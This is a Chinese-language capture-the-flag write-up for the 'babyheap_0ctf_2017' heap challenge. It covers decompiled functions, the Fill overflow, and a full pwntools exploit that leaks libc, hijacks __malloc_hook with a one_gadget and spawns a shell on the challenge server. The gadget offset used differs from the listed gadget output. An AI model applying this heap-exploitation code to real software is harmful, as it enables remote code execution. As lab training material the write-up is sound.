【babyheap_0ctf_2017】WriteUp

checksec查看，保护全开，可以查看是否有堆的漏洞

[*] '/home/bronya/Documents/CTF/pwn18/babyheap_0ctf_2017'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ida查看：

main函数提供了菜单以及选择功能

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v4; // [rsp+8h] [rbp-8h]

  v4 = sub_B70();
  while ( 1 )
  {
    sub_CF4();
    switch ( sub_138C() )
    {
      case 1LL:
        Allocate(v4);
        break;
      case 2LL:
        Fill(v4);
        break;
      case 3LL:
        Free(v4);
        break;
      case 4LL:
        Dump(v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}

allocate函数根据大小申请堆空间

void __fastcall Allocate(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = sub_138C();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}

Fill函数向指定index堆块写入内容，注意此处没有对大小进行限制，因此可以考虑fastbin attack劫持

__int64 __fastcall Fill(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = sub_138C();
      v3 = result;
      if ( (int)result > 0 )
      {
        printf("Content: ");
        return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

Dump函数打印指定index的内容，可以用于泄漏main_arena地址，进一步泄漏libc基址

int __fastcall Dump(__int64 a1)
{
  int result; // eax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      return puts(byte_14F1);
    }
  }
  return result;
}

因此答题思路为unsortedbin attack泄漏libc基址，fastbin attack劫持malloc_hook，使用one_gadget getshell

Step1: 泄漏Libc基址

注：当small chunk被释放时，它的fd，bk指向同一个指针即top chunk地址，这个地址保存在main_arena的0x58偏移处，而main_arena在libc的data段中，是全局静态变量，偏移也是固定的，根据这些可以计算出libc的基址。因此只需要当small chunk释放后，还可以打印出其值。

首先申请一些小堆块，然后free掉id 1,2，利用堆溢出漏洞，将chunk2 fd指针修改为chunk4地址，相当于chunk4已经free并且为fastbin，然后要malloc回chunk4,不过由于有大小检查，需要修改chunk4的大小，通过修改chunk3来实现。这样可以实现将small chunk放入fastbin中的效果。注，此时有两个指针指向同一个chunk4，此时将chunk4大小修改回原来值，将正常的chunk4 free掉，就可以令其fd,bk指针指向top_chunk，同时新申请的也指向了chunk4,可以用于查看fd,bk值。由此可以计算出libc值

Step2: 修改malloc_hook为one_gadget

使用fastbin attack构造fake chunk修改malloc_hook指针地址即可

exp如下：

from pwn import *

context(arch='amd64', log_level='debug')

# p = process('./babyheap_0ctf_2017')
p = remote('node5.buuoj.cn', 25147)
"""
struct {
    1, (8) # 表示是否allocate
    size: , (8)
    content pointer: , (8)
}
"""

def allocate(size):
    p.sendlineafter(b'Command: ', b'1')
    p.sendlineafter(b'Size: ', str(size))

def fill(index, size, content):
    p.sendlineafter(b'Command: ', b'2')
    p.sendlineafter(b'Index: ', index)
    p.sendlineafter(b'Size: ', str(size))
    p.sendlineafter(b'Content: ', content)

def free(index):
    p.sendlineafter(b'Command: ', b'3')
    p.sendlineafter(b'Index: ', index)
    
def dump(index):
    p.sendlineafter(b'Command: ', b'4')
    p.sendlineafter(b'Index: ', index)
    p.recvline()
    return p.recvline()

"""
heap overflow
1. 泄漏libc基址
2. 修改libc中malloc_hook地址为one_gadget
"""

# Step1: 泄漏libc基址
# gdb.attach(p, 'b *$rebase(0x0000000000001142)')
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

free(b'1')
free(b'2')

payload = flat(b'\x00'*0x18, 0x21, b'\x00'*0x18, 0x21, p8(0x80))
fill(b'0', len(payload), payload)

payload = flat(b'\x00'*0x18, 0x21)
fill(b'3', len(payload), payload)

allocate(0x10)
allocate(0x10)

payload = flat(b'\x00'*0x18, 0x91)
fill(b'3', len(payload), payload)

allocate(0x80)
free(b'4')

libc_addr = u64(dump(b'2')[:8].ljust(8, b'\x00')) - 0x3c4b78
success(hex(libc_addr))


# Step2: 劫持malloc_hook
fake_chunk = libc_addr + 0x3c4aed
allocate(0x60)
free(b'4')
payload = flat(fake_chunk)
fill(b'2', len(payload), payload)
allocate(0x60)
allocate(0x60)
"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

"""
one_gadget = libc_addr + 0x4526a
payload = flat(p8(0)*3, 0, 0, one_gadget)
fill(b'6', len(payload), payload)
allocate(0x90)

p.interactive()